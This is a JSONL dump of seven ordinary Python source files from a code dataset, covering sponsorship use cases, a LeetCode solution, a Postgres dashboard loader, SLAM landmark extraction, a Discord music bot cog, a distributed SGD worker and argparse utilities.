+{"seq_id":"444998272","text":"from sponsors.models import Sponsorship\nfrom sponsors import notifications\n\n\nclass CreateSponsorshipApplicationUseCase:\n    def __init__(self, notifications):\n        self.notifications = notifications\n\n    def execute(self, user, sponsor, benefits, package=None, request=None):\n        sponsorship = Sponsorship.new(sponsor, benefits, package, submited_by=user)\n\n        for notification in self.notifications:\n            notification.notify(request=request, sponsorship=sponsorship)\n\n        return sponsorship\n\n    @classmethod\n    def build(cls):\n        uc_notifications = [\n            notifications.AppliedSponsorshipNotificationToPSF(),\n            notifications.AppliedSponsorshipNotificationToSponsors(),\n        ]\n        return cls(uc_notifications)\n\n\nclass RejectSponsorshipApplicationUseCase:\n    def __init__(self, notifications):\n        self.notifications = notifications\n\n    def execute(self, sponsorship, request=None):\n        sponsorship.reject()\n        sponsorship.save()\n\n        for notification in self.notifications:\n            notification.notify(request=request, sponsorship=sponsorship)\n\n        return sponsorship\n\n    @classmethod\n    def build(cls):\n        uc_notifications = [\n            notifications.RejectedSponsorshipNotificationToPSF(),\n            notifications.RejectedSponsorshipNotificationToSponsors(),\n        ]\n        return cls(uc_notifications)\n","sub_path":"sponsors/use_cases.py","file_name":"use_cases.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"49361209","text":"\"\"\"167. Two Sum II - Input array is sorted Description\n\nGiven an array of integers that is already sorted in ascending order, find two numbers such that they add up to a specific target number.\n\nThe function twoSum should return indices of the two numbers such that they add up to the target, where index1 must be less than index2.\n\n\nNote:\nYour returned answers (both index1 and index2) are not zero-based.\nYou may assume that each input would have exactly one solution and you may not use the same element twice.\n\nExample:\nInput: numbers = [2,7,11,15], target = 9\nOutput: [1,2]\nExplanation: The sum of 2 and 7 is 9. Therefore index1 = 1, index2 = 2.\"\"\"\n\n\nclass Solution:\n    def twoSum(self, numbers: [int], target: int) -> [int]:\n        for number in list(set(numbers)):\n            if (target - number) in numbers:\n                if number == target - number:\n                    return sorted(\n                        [numbers.index(number) + 1, numbers.index(number) + 2]\n                    )\n                else:\n                    return sorted(\n                        [numbers.index(number) + 1, numbers.index(target - number) + 1]\n                    )\n\n\n\"\"\"Submission\nRuntime: 60 ms, faster than 88.39% of Python3 online submissions for Two Sum II - Input array is sorted.\nMemory Usage: 13.2 MB, less than 100.00% of Python3 online submissions for Two Sum II - Input array is sorted.\"\"\"\n","sub_path":"leetcode/167_two_sum_2.py","file_name":"167_two_sum_2.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"13566123","text":"#!/usr/bin/python\nimport traceback\n\nfrom dao.Conex_postgres import ConexPostgres\nfrom util.LogX3 import LogX3\nfrom util.util_gsc import UtilGSC\n\n\n# -------------------------------------------------------------------\ndef lista_coord():\n    try:\n        #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n        conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n        cursor = conn.cursor()\n        cursor.execute(\"\"\"SELECT distinct(ceptirj) FROM coord\"\"\")\n        linhas = cursor.fetchall()\n        aux = []\n        for obj in linhas:\n            aux.append(obj[0])\n    except Exception as e:\n        print(e)\n    finally:\n        if not conn.closed:\n            conn.commit()\n            conn.close()\n    return aux\n\n\ndef monstar_dict_dashboard():\n    try:\n        lista_tarefas = ceptirj_tarefa()\n        lista_incidentes = ceptirj_incidente()\n        lista_wo = ceptirj_wo()\n        list_coordernacoes = lista_coord()\n        lista_objs_tarefa = []\n        lista_objs_incidente = []\n        lista_objs_wo = []\n\n        for linha in lista_tarefas:\n            dict_tarefas = {\n                \"coord\": \"{0}\".format(linha[0]),\n                \"tarefas\": linha[1],\n                \"incidentes\": None,\n                \"servicos\": None,\n                \"inc_atencao\": None,\n                \"wo_atencao\": None,\n                \"tarefa_atencao\": linha[2]\n            }\n\n            lista_objs_tarefa.append(dict_tarefas)\n        for linha in lista_incidentes:\n            dict_incidentes = {\n                \"coord\": \"{0}\".format(linha[0]),\n                \"tarefas\": None,\n                \"incidentes\": linha[1],\n                \"servicos\": None,\n                \"inc_atencao\": linha[2],\n                \"wo_atencao\": None,\n                \"tarefa_atencao\": None\n            }\n\n            lista_objs_incidente.append(dict_incidentes)\n\n        for linha in lista_wo:\n            dict_wo = {\n                \"coord\": \"{0}\".format(linha[0]),\n                \"tarefas\": None,\n                \"incidentes\": None,\n                \"servicos\": linha[1],\n                \"inc_atencao\": None,\n                \"wo_atencao\": linha[2],\n                \"tarefa_atencao\": None\n            }\n            lista_objs_wo.append(dict_wo)\n\n        lista_x = []\n        for coord in list_coordernacoes:\n            obj_found_inc = filter(lambda item: item['coord'] == coord, lista_objs_incidente)\n            obj_found_wo = filter(lambda item: item['coord'] == coord, lista_objs_wo)\n            obj_found_tarefa = filter(lambda item: item['coord'] == coord, lista_objs_tarefa)\n            incidentes = 0\n            incidentes_atencao = 0\n            tarefas = 0\n            tarefas_atencao = 0\n            servicos = 0\n            servicos_atencao = 0\n            for x in obj_found_inc:  # TODO PROBLEMA BUG\n                incidentes = x[\"incidentes\"]\n                incidentes_atencao = x[\"inc_atencao\"]\n\n            for y in obj_found_wo:\n                servicos = y['servicos']\n                servicos_atencao = y['wo_atencao']\n\n            for z in obj_found_tarefa:\n                tarefas = z['tarefas']\n                tarefas_atencao = z['tarefa_atencao']\n\n            # Padrao do dict jogar pros outros acima\n            dict_geral = {\n                \"coord\": \"{0}\".format(coord),\n                \"tarefas\": tarefas,\n                \"servicos\": servicos,\n                \"incidentes\": incidentes,\n                \"inc_atencao\": incidentes_atencao,\n                \"wo_atencao\": servicos_atencao,\n                \"tarefa_atencao\": tarefas_atencao\n            }\n            lista_x.append(dict_geral)\n        return lista_x\n    except Exception as e:\n        print(e)\n\n\ndef ceptirj_tarefa():\n    try:\n        #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n        conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"select a.ceptirj,a.qtd_tarefa,b.tarefa_atencao from vw_tarefa a \nFULL OUTER JOIN vw_tarefa_atencao b ON a.ceptirj = b.ceptirj\"\"\"\n        )\n        linhas = cursor.fetchall()\n        return linhas\n    except Exception as e:\n        print(e)\n    finally:\n        if not conn.closed:\n            conn.commit()\n            conn.close()\n\n\ndef ceptirj_incidente():\n    try:\n        #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n        conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"select a.ceptirj,a.qtd_inc,b.inc_atencao from vw_incidentes a \nFULL OUTER JOIN vw_inc_atencao b ON a.ceptirj = b.ceptirj \"\"\")\n        linhas = cursor.fetchall()\n        return linhas\n    except Exception as e:\n        print(e)\n    finally:\n        if not conn.closed:\n            conn.commit()\n            conn.close()\n\n\ndef ceptirj_wo():\n    try:\n        #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n        conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n        cursor = conn.cursor()\n        cursor.execute(\n            \"\"\"select a.ceptirj,a.qtd_wo,b.wo_atencao from vw_wo a \nFULL OUTER JOIN vw_wo_atencao b ON a.ceptirj = b.ceptirj\"\"\")\n        linhas = cursor.fetchall()\n        return linhas\n    except Exception as e:\n        print(e)\n    finally:\n        if not conn.closed:\n            conn.commit()\n            conn.close()\n\n\n# -------------------------------------------------------------------\n\ndef definir_sql(resultado):\n    sql = \"\"\"INSERT INTO public.dashboard_painel_temp(\n\tcepti,qtd_tarefa, qtd_wo, qtd_inc, inc_atencao, wo_atencao, tarefa_atencao)\n\tVALUES ('{0}',{1}, {2},{3},{4}, {5},{6})\"\"\".format(\n        UtilGSC.VerificaNulo(resultado['coord']),\n        UtilGSC.VerificaNulo(resultado['tarefas']),\n        UtilGSC.VerificaNulo(resultado['servicos']),\n        UtilGSC.VerificaNulo(resultado['incidentes']),\n        UtilGSC.VerificaNulo(resultado['inc_atencao']),\n        UtilGSC.VerificaNulo(resultado['wo_atencao']),\n        UtilGSC.VerificaNulo(resultado['tarefa_atencao']))\n    return sql\n\n\ndef truncate_table(tabela):\n    #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n    conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n    sqlT = \"\"\"begin;\n               DELETE FROM public.{0};\n               commit;\"\"\".format(tabela)\n    try:\n        cur = conn.cursor()\n        cur.execute(sqlT)\n    except Exception as e:\n        conn.rollback()\n        print(\"Dando rollback {0}\".format(str(e)))\n\n    conn.commit()\n    conn.close()\n\n\ndef carga(tabela=\"\"):\n    #conConsulta = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n    conConsulta = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n    cur = conConsulta.cursor()\n    resultado = monstar_dict_dashboard()  # RETORNA O DICT para inserir na tabela DASHBOARD_TEMP\n    try:\n        for linha in resultado:\n            sql = definir_sql(linha)\n            cur.execute(sql)\n    except Exception as e:\n        print(sql)\n        conConsulta.rollback()\n        print(\"Dando rollback {0}\".format(str(e)))\n    conConsulta.commit()\n    conConsulta.close()\n    return len(resultado)\n\n\ndef carga_prd(tabela):\n    #conn = ConexPostgres(\"CEPTIRJ_PAINEIS\").connection\n    conn = ConexPostgres(\"CEPTIRJ_PAINEIS_bkp\").connection\n\n    sqlI = \"\"\"begin;\n                DELETE FROM public.{0};\n                insert into dashboard_painel SELECT * FROM dashboard_painel_temp;\n                commit;\"\"\".format(tabela)\n    try:\n        cur = conn.cursor()\n        cur.execute(sqlI)\n    except Exception as e:\n        conn.rollback()\n        print(\"Dando rollback {0}\".format(str(e)))\n\n    conn.commit()\n    conn.close()\n\n\ndef carga_tabela_final_dashboard(num_linhas):\n    if num_linhas > 0:\n        LogX3.writelog(\"Numero de Registros: {0}\".format(str(num_linhas)), \"./dashboard_painel.log\", \"INFO\")\n        print(\"delete_from dashboard_painel\")\n        truncate_table(\"dashboard_painel\")\n        LogX3.writelog(\"Truncate de tabela {0}\".format(\"dashboard_painel\"), \"./dashboard_painel.log\", \"INFO\")\n        carga_prd(tabela=\"dashboard_painel\")\n        print(\"OK\")\n        LogX3.writelog(\"Carga Realizada com Sucesso\", \"./dashboard_painel.log\", \"INFO\")\n    else:\n        LogX3.writelog(\"Problema na Carga (Erro)\", \"./dashboard_painel.log\", \"CRITICAL\")\n\n\n# MAIN PRINCIPAL\ndef carga_dashboard():\n    print(\"delete_from dashboard_painel_temp\")\n    truncate_table(\"dashboard_painel_temp\")\n    LogX3.writelog(\"Truncate de tabela {0}\".format(\"dashboard_painel_temp\"), \"./carga_incidentes.log\", \"INFO\")\n    try:\n        while True:\n            LogX3.writelog(\"Tentativa de CARGA\", \"./dashboard_painel.log\", \"INFO\")\n            num_linhas = carga(tabela=\"dashboard_painel_temp\")\n            if num_linhas > 0:\n                return num_linhas\n            else:\n                LogX3.writelog(\"Problema na Carga (Erro)\", \"./dashboard_painel.log\", \"CRITICAL\")\n    except Exception as ex:\n        erro_str = traceback.format_exc()\n        LogX3.writelog(\"Problema na Carga ({0})\".format(str(erro_str)), \"./dashboard_painel.log\", \"CRITICAL\")\n        # log_incidente(\"Problema na Carga\", str(ex)) TODO\n","sub_path":"CEPTIRJ_PAINEIS_CARGA/carga_dashboard.py","file_name":"carga_dashboard.py","file_ext":"py","file_size_in_byte":9016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"300242530","text":"import numpy as np\nimport math\nfrom Utils import pointcloud2scan, cylinders2decart, normalize_angle\n\nclass Landmarks(object):\n    def __init__(self):\n        self.min_dist = 0.05\n        self.max_dist = 2\n        self.depth_jump = 0.5\n\n        self.scan = []\n        self.derivate = []\n        self.cylinders = []\n        self.landmark = []\n        self.lm = np.array([])\n\n    def extract_landmarks(self, scan):\n        if len(scan):\n            self.derivate = self.compute_derivative(scan, self.min_dist)\n            self.cylinders = self.find_cylinders(scan, self.derivate, self.depth_jump, self.min_dist, self.max_dist)\n            self.lm = self.to_numpy()\n        return self.lm\n\n\n    def compute_derivative(self, scan, min_dist):\n        distance = []\n        for measurement in scan:\n            distance.append(measurement[1])\n        jumps = [ 0 ]\n        for i in range(1, len(distance) - 1):\n            l = distance[i-1]\n            r = distance[i+1]\n            if l > min_dist and r > min_dist:\n                derivative = (r - l) / 2.0\n                jumps.append(derivative)\n            else:\n                jumps.append(0)\n        jumps.append(0)  \n        return jumps\n\n    def find_cylinders(self, scan, scan_derivative, jump, min_dist, max_dist):\n        distance = []\n        angle = []\n        for measurement in scan:\n            distance.append(measurement[1])\n            angle.append(measurement[0])\n        cylinder_list = []\n        on_cylinder = False\n        sum_ray, sum_depth, rays, sum_angle = 0.0, 0.0, 0.0, 0.0\n        #mass_dist = []\n        #min_dist = 0\n\n        for i in range(len(scan_derivative)):\n            if scan_derivative[i] < -jump and distance[i] > min_dist and  distance[i] < max_dist:\n                sum_ray, sum_depth, rays, sum_angle = 0.0, 0.0, 0.0, 0.0\n                #mass_dist = []\n                #min_dist = 0\n                on_cylinder = True\n\n            if on_cylinder is True:\n                sum_ray += i\n                sum_depth += distance[i]\n                sum_angle += angle[i]\n                rays += 1\n                #mass_dist.append(distance[i])\n\n                if scan_derivative[i] > jump and distance[i] > min_dist and rays > 2 and rays < 7:\n                    on_cylinder = False\n                    average_depth = sum_depth / rays\n                    average_angle = sum_angle / rays\n                    average_ray = int(sum_ray / rays)\n                    #min_dist = min(mass_dist)\n                    #print(min_dist)\n\n                    #cylinder_list.append((average_ray, distance[average_ray], angle[average_ray]))\n                    cylinder_list.append((average_ray, average_depth, average_angle))\n                    #cylinder_list.append((average_ray, min_dist, angle[average_ray]))\n\n        return cylinder_list\n\n    def to_numpy(self):\n            # add noise to gps x-y\n            z = np.zeros((0, 3))\n            for i in range(len(self.cylinders)):\n                dist = self.cylinders[i][1]\n                angle = self.cylinders[i][2]\n                \n                zi = np.array([dist, angle, i])\n                z = np.vstack((z, zi))\n            return z\n    def getLandmarks(self):\n        return np.array([[-2, 4], [2, 4], [0, -2]])\n","sub_path":"new/test_slam/Landmarks.py","file_name":"Landmarks.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"231047057","text":"import logging\nimport math\nimport re\n\nimport discord\nimport lavalink\nfrom discord.ext import commands\n\ntime_rx = re.compile('[0-9]+')\nurl_rx = re.compile('https?:\\/\\/(?:www\\.)?.+')  # noqa: W605\n\n\nclass Music(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n        if not hasattr(bot, 'lavalink'):\n            lavalink.Client(bot=self.bot, ws_port=2333, password='youshallnotpass',\n                            loop=bot.loop, log_level=logging.INFO)\n            self.bot.lavalink.register_hook(self._track_hook)\n\n    def cog_unload(self):\n        for guild_id, player in self.bot.lavalink.players:\n            self.bot.loop.create_task(player.disconnect())\n            player.cleanup()\n        # Clear the players from Lavalink's internal cache\n        self.bot.lavalink.players.clear()\n        self.bot.lavalink.unregister_hook(self._track_hook)\n\n    async def _track_hook(self, event):\n        if isinstance(event, lavalink.Events.StatsUpdateEvent):\n            return\n        channel = self.bot.get_channel(event.player.fetch('channel'))\n        if not channel:\n            return\n\n        if isinstance(event, lavalink.Events.TrackStartEvent):\n            await channel.send(embed=discord.Embed(title='Now playing:',\n                                                   description=event.track.title,\n                                                   color=discord.Color.red()))\n\n        elif isinstance(event, lavalink.Events.QueueEndEvent):\n            await channel.send('Queue ended!')\n\n    @commands.command(name='play', aliases=['p'])\n    @commands.guild_only()\n    async def _play(self, ctx, *, query: str):\n        \"\"\" Searches and plays a song from a given query. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        query = query.strip('<>')\n\n        if not url_rx.match(query):\n            query = f'ytsearch:{query}'\n\n        results = await self.bot.lavalink.get_tracks(query)\n\n        if not results or not results['tracks']:\n            return await ctx.send(':x: No song matching that search query.')\n\n        embed = discord.Embed(color=discord.Color.red())\n\n        if results['loadType'] == 'PLAYLIST_LOADED':\n            tracks = results['tracks']\n\n            for track in tracks:\n                player.add(requester=ctx.author.id, track=track)\n\n            embed.title = 'Playlist Enqueued!'\n            embed.description = f'{results[\"playlistInfo\"][\"name\"]} - {len(tracks)} tracks'\n            await ctx.send(embed=embed)\n        else:\n            track = results['tracks'][0]\n            embed.title = 'Track Enqueued'\n            embed.description = f'[{track[\"info\"][\"title\"]}]({track[\"info\"][\"uri\"]})'\n            await ctx.send(embed=embed)\n            player.add(requester=ctx.author.id, track=track)\n\n        if not player.is_playing:\n            await player.play()\n\n    @commands.command(name='skip', aliases=['forceskip', 'fs'])\n    @commands.guild_only()\n    async def _skip(self, ctx):\n        \"\"\" Skips the current track. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_playing:\n            return await ctx.send(':x: Nothing is playing.')\n\n        await player.skip()\n        await ctx.send('⏭ Skipped.')\n\n    @commands.command(name='stop')\n    @commands.guild_only()\n    async def _stop(self, ctx):\n        \"\"\" Stops the player and clears its queue. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_playing:\n            return await ctx.send(':x: Nothing is playing.')\n\n        player.queue.clear()\n        await player.stop()\n        await ctx.send('⏹ Stopped.')\n\n    @commands.command(name='now', aliases=['np', 'n', 'playing'])\n    @commands.guild_only()\n    async def _now(self, ctx):\n        \"\"\" Shows some stats about the currently playing song. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n        song = 'Nothing'\n\n        if player.current:\n            position = lavalink.Utils.format_time(player.position)\n            if player.current.stream:\n                duration = '🔴 LIVE'\n            else:\n                duration = lavalink.Utils.format_time(player.current.duration)\n            song = f'**[{player.current.title}]({player.current.uri})**\\n({position}/{duration})'\n\n        embed = discord.Embed(color=discord.Color.red(), title='Now Playing', description=song)\n        await ctx.send(embed=embed)\n\n    @commands.command()\n    @commands.guild_only()\n    async def volume(self, ctx, volume: int = None):\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not volume:\n            return await ctx.send(f'The current volume is at **{player.volume}%**')\n\n        if volume > 250:\n            await ctx.send(f':x: You cannot set the volume higher than **250%**')\n            return\n\n        await player.set_volume(volume)\n        await ctx.send(f'🔈 Set to **{player.volume}%**')\n\n    @commands.command(name='queue', aliases=['q'])\n    @commands.guild_only()\n    async def _queue(self, ctx, page: int = 1):\n        \"\"\" Shows the player's queue. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.queue:\n            return await ctx.send(':x: There\\'s nothing in the queue...')\n\n        items_per_page = 10\n        pages = math.ceil(len(player.queue) / items_per_page)\n\n        start = (page - 1) * items_per_page\n        end = start + items_per_page\n\n        queue_list = ''\n        for index, track in enumerate(player.queue[start:end], start=start):\n            queue_list += f'`{index + 1}.` [**{track.title}**]({track.uri})\\n'\n\n        embed = discord.Embed(colour=discord.Color.red(),\n                              description=f'**{len(player.queue)} tracks**\\n\\n{queue_list}')\n        embed.set_footer(text=f'Viewing page {page}/{pages}')\n        await ctx.send(embed=embed)\n\n    @commands.command(name='pause', aliases=['resume'])\n    @commands.guild_only()\n    async def _pause(self, ctx):\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_playing:\n            return await ctx.send(':x: Nothing is playing.')\n\n        if player.paused:\n            await player.set_pause(False)\n            await ctx.send('⏯ Resumed')\n        else:\n            await player.set_pause(True)\n            await ctx.send('⏯ Paused')\n\n    @commands.command(name='loop')\n    @commands.guild_only()\n    async def _loop(self, ctx):\n        \"\"\" Repeats the current song until the command is invoked again. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_playing:\n            return await ctx.send(':x: Nothing is playing.')\n\n        player.repeat = not player.repeat\n        await ctx.send('🔁 ' + ('Enabled' if player.repeat else 'Disabled'))\n\n    @commands.command(name='disconnect', aliases=['dc', 'leave'])\n    @commands.guild_only()\n    async def _disconnect(self, ctx):\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_connected:\n            return await ctx.send(':x: I\\'m not connected to any voice channel.')\n\n        if not ctx.author.voice or (player.is_connected and ctx.author.voice.channel.id != int(player.channel_id)):\n            return await ctx.send(':x: You\\'re not in my voice channel!')\n\n        player.queue.clear()\n        await player.disconnect()\n        await ctx.send(':wave: Disconnected.')\n\n    @_play.before_invoke\n    async def ensure_voice(self, ctx):\n        \"\"\" A few checks to make sure the bot can join a voice channel. \"\"\"\n        player = self.bot.lavalink.players.get(ctx.guild.id)\n\n        if not player.is_connected:\n            if not ctx.author.voice:\n                await ctx.send('You aren\\'t connected to any voice channel.')\n                raise commands.CommandInvokeError(\n                    'Author not connected to voice channel.')\n\n            permissions = ctx.author.voice.channel.permissions_for(ctx.me)\n\n            if not permissions.connect or not permissions.speak:\n                await ctx.send(':x: I\\'m Missing permissions to Connect and Speak.')\n\n            player.store('channel', ctx.channel.id)\n            await player.connect(ctx.author.voice.channel.id)\n        else:\n            if player.connected_channel.id != ctx.author.voice.channel.id:\n                return await ctx.send('Join my voice channel!')\n\n\ndef setup(bot):\n    bot.add_cog(Music(bot))","sub_path":"cogs/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":8407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"533954015","text":"import torch\nimport torch.nn as nn\nfrom torch import optim\nimport torch.distributed.rpc as rpc\nimport torch.nn.functional as F\nfrom Utils import remote_method, get_train_loader, get_worker_gamma, get_model\nfrom PS import ParameterServer, get_parameter_server\nimport os\nimport threading\nimport numpy as np\nimport time\n\n# --------- Workers --------------------\nclass Worker(nn.Module):\n    def __init__(self, rank, world_size):\n        super().__init__()\n        self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n        self.param_server_rref = rpc.remote(\"parameter_server\", get_parameter_server, args=(world_size,))\n        self.model_type = self.fetch_model_type_from_ps()\n        self.model = get_model(self.model_type)()\n        self.opt = optim.SGD(self.model.parameters(), lr=self.fetch_lr_from_ps())\n        self.train_loader = get_train_loader(self.fetch_dataset_type_from_ps())\n        self.train_enum = enumerate(self.train_loader)\n        self.rank = rank\n        self.K = self.fetch_worker_K_from_ps()\n        self.avg_grad = False\n\n        # Thread1: T1, calculate the grad\n        # Thread2: T2, process data with master\n        self.T1_run = False # semaphore for T1\n        self.lock = threading.Lock()\n        self.grad_record = {}\n        self.train_loss = []\n\n        PS_weights = self.fetch_weights_from_ps()\n        self.model.replace_weights(PS_weights)\n\n    def train(self):\n        self.model.train()\n        i, (data, target) = next(self.train_enum)\n        data, target = data.to(self.device), target.to(self.device)\n        self.opt.zero_grad()\n        model_output = self.model(data)\n        if self.model_type == 'ResNet':\n            loss = F.cross_entropy(model_output, target)\n        else:\n            loss = F.nll_loss(model_output, target)\n        print(f\"training batch {i} loss {loss.item()}\")\n        loss.backward()\n        self.opt.step()\n\n    def send_msg_to_ps(self, msg):\n        return remote_method(\n            ParameterServer.process_msg,\n            self.param_server_rref, msg)\n\n    def still_wait(self):\n        return remote_method(\n            ParameterServer.still_wait,\n            self.param_server_rref)\n    \n    def fetch_weights_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_weights,\n            self.param_server_rref)\n    \n    def fetch_avg_grad_grom_ps(self):\n        return remote_method(\n            ParameterServer.fetch_workers_avg_grad,\n            self.param_server_rref)\n    \n    def fetch_lr_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_lr,\n            self.param_server_rref)\n    \n    def fetch_gamma_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_gamma,\n            self.param_server_rref)\n\n    def fetch_dataset_type_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_dataset_type,\n            self.param_server_rref)\n    \n    def fetch_model_type_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_model_type,\n            self.param_server_rref)\n    \n    def fetch_worker_K_from_ps(self):\n        return remote_method(\n            ParameterServer.fetch_worker_K,\n            self.param_server_rref)\n    \n    def update_ps_weights(self, new_weights):\n        return remote_method(\n            ParameterServer.update_weights,\n            self.param_server_rref, new_weights)\n    \n    def send_worker_info(self, grad, other_info={}):\n        return remote_method(\n            ParameterServer.receive_worker_info,\n            self.param_server_rref, grad, other_info)\n\n    def still_wait(self):\n        ps_result = remote_method(\n            ParameterServer.still_wait,\n            self.param_server_rref)\n        \n        if ps_result == 'exit':\n            print(f'From master: training process completed.')\n            os._exit(0)\n        else:\n            return ps_result\n    \n    def calculate_grad(self):\n        while True:\n            self.lock.acquire()\n            if len(self.train_loss) == 0:\n                self.model.train()\n                for iter in range(self.K):\n                    try:\n                        _, (data, target) = next(self.train_enum)\n                    except StopIteration:\n                        self.train_enum = enumerate(self.train_loader)\n                        _, (data, target) = next(self.train_enum)\n                    data, target = data.to(self.device), target.to(self.device)\n                    self.opt.zero_grad()\n                    model_output = self.model(data)\n                    if self.model_type == 'ResNet':\n                        loss = F.cross_entropy(model_output, target)\n                    else:\n                        loss = F.nll_loss(model_output, target)\n                    print(f'loss: {loss.item()}')\n                    loss.backward()\n                    self.train_loss.append(loss.item())\n                    if len(self.grad_record) == 0:\n                        self.grad_record = self.model.get_grad()\n                    else:\n                        self.grad_record = self.model.accumulate_grad(self.grad_record)\n                    self.model.update_weights_from_grad(self.model.get_grad(), self.fetch_lr_from_ps())\n            self.lock.release()\n\n    def process_grad_and_weights(self):\n        while True:\n            self.lock.acquire()\n            if len(self.train_loss) == self.K:\n                ps_weights = self.fetch_weights_from_ps()\n                prev_grad = self.grad_record\n                self.grad_record = {}\n                prev_K = self.K \n                # self.K = 0\n                prev_train_loss = self.train_loss\n                self.train_loss = []\n\n                if self.avg_grad:\n                    for k in prev_grad: \n                        prev_grad[k] /= prev_K \n\n                self.model.replace_weights(ps_weights)\n    \n                # if prev_K != 0:\n                #     self.model.update_weights_from_grad(prev_grad, self.fetch_gamma_from_ps())\n                \n                if prev_K != 0:\n                    other_info = {}\n                    other_info['rank'] = self.rank\n                    other_info['train_loss'] = np.mean(prev_train_loss)\n                    other_info['K'] = prev_K\n                    other_info['send_time'] = time.time()\n                    self.send_worker_info(prev_grad, other_info=other_info) \n                    print('Grad has been sent to master.')\n                    while self.still_wait(): # Wait until the master receives the grad information from all workers\n                        continue\n            self.lock.release()\n\n    def start(self):\n        T1 = threading.Thread(target=self.calculate_grad, args=())\n        T2 = threading.Thread(target=self.process_grad_and_weights, args=())\n        T1.start()\n        T2.start()\n        T1.join()\n        T2.join()\n\n# Main loop for trainers.\n# round: the worker has to run for how many rounds. in every round, the worker will run for K local_iterations\ndef run_worker(rank, world_size):\n    print(f\"Worker rank {rank} initializing RPC\")\n    rpc.init_rpc(\n        name=f\"worker_{rank}\",\n        rank=rank,\n        world_size=world_size)\n\n    print(f\"Worker {rank} done initializing RPC\")\n\n    w = Worker(rank, world_size)\n    w.start()\n\n    rpc.shutdown()","sub_path":"Workers/localSGDWorker.py","file_name":"localSGDWorker.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"545134040","text":"\"\"\"Utilities such as argument parsing\"\"\"\n\nimport argparse\nimport torch\nimport numpy as np\n\n\ndef parse_args():\n    \"\"\"\n    :return:  args: experiment configs, device: use CUDA or cpu\n    \"\"\"\n    parser = argparse.ArgumentParser(description='Traning a fully connected network to classify speech recording phonemes.')\n\n    parser.add_argument('--batch_size', type=int, default=32, metavar='N',\n                        help='input batch size for training (default: 8)')\n    parser.add_argument('--test_batch_size', type=int, default=64, metavar='N',\n                        help='input batch size for testing (default: 64)')\n    parser.add_argument('--epochs', type=int, default=30, metavar='N',\n                        help='number of epochs to train (default: 30)')\n    parser.add_argument('--lr', type=float, default=0.001, metavar='LR',\n                        help='learning rate (default: 0.001)')\n    parser.add_argument('--gamma', type=float, default=0.7, metavar='M',\n                        help='Learning rate step gamma (default: 0.7)')\n    parser.add_argument('--no-cuda', action='store_true', default=False,\n                        help='disables CUDA training')\n    parser.add_argument('--fast', action='store_true', default=False,\n                        help='Loads dev set in place of train.')\n    \n    args = parser.parse_args()\n    use_cuda = not args.no_cuda and torch.cuda.is_available()\n    device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n    return args, device\n\n\nclass RunningAverage():\n    \"\"\"\n    Keeps running average of metrics so they don't fluctuate.\n    \"\"\"\n    def __init__(self, size=5):\n        self.arr = np.zeros(size)\n        self.size = size\n        self.counter = 0\n\n    def add(self, value):\n        self.arr[self.counter % self.size] = value\n        self.counter += 1\n        if self.counter >= self.size:\n            self.counter = 0\n\n    def get(self):\n        return np.mean(self.arr)\n\n    def reset(self):\n        self.arr = 0","sub_path":"adv_generation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
